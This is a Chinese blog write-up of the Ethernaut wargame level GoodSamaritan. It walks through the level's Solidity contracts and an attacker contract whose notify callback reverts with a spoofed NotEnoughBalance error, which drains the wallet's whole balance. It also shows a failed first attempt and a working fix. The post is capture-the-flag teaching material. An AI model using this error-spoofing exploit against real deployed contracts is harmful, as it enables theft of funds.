IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> [区块链安全-Ethernaut]附加GoodSamaritan解题思路 -> 正文阅读

[区块链][区块链安全-Ethernaut]附加GoodSamaritan解题思路

[区块链安全-Ethernaut]新题目GoodSamaritan解题思路

背景

说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。

目标合约分析

总共有三个合约互相作用,分别为GoodSamaritan(慈善家,对外暴露捐款接口)、Coin(慈善家通过钱包创建的代币合约)以及Wallet(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。

核心代码如下:

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

在接受外部调用requestDonation后,慈善家会通过walletdonate10方法进一步调用cointransfer实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)(即余额不足10个代币),就将剩下的都转给用户。

所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance

cointransfer方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }

我们不能指望wallet去抛出NotEnoughBalance,相反,考虑到coin还与dest有所交互,我们可以利用notify方法在自己的合约中抛出NotEnoughBalance

尝试一:失败的攻击

说干就干,在remix里编写攻击合约,合约代码如下:

pragma solidity ^0.8.0;

interface GoodSamaritan {
    function requestDonation() external returns(bool enoughBalance);
}



contract Attacker {

    error NotEnoughBalance();


    constructor() public{

    }

    function attack(address _addr) public {
            GoodSamaritan(_addr).requestDonation();
    }

    function notify(uint256 amount) external {
        revert  NotEnoughBalance();
    }

}

部署合约后,通过attack方法发起攻击,当notify方法被transfer所调用时,会主动revert抛出自定义的NotEnoughBalance

可是,似乎没有通过。

破解失败

我们进入debug_trace界面,发现transferRemainder(address)对应的0xe40b8658selector的确被调用了。

selector
的确调用了
但为什么还是失败了呢?

尝试二

原因是我们没有定义好notify,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。

    function notify(uint256 amount) external {
        if (amount <= 10){
            revert  NotEnoughBalance();
        }
    }

重新部署,调用attack函数。调用成功!

重新攻击
关卡成功

总结

这题重点还是要找到入口,找到了就容易了!

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2022-09-13 11:21:05  更:2022-09-13 11:22:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 21:27:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码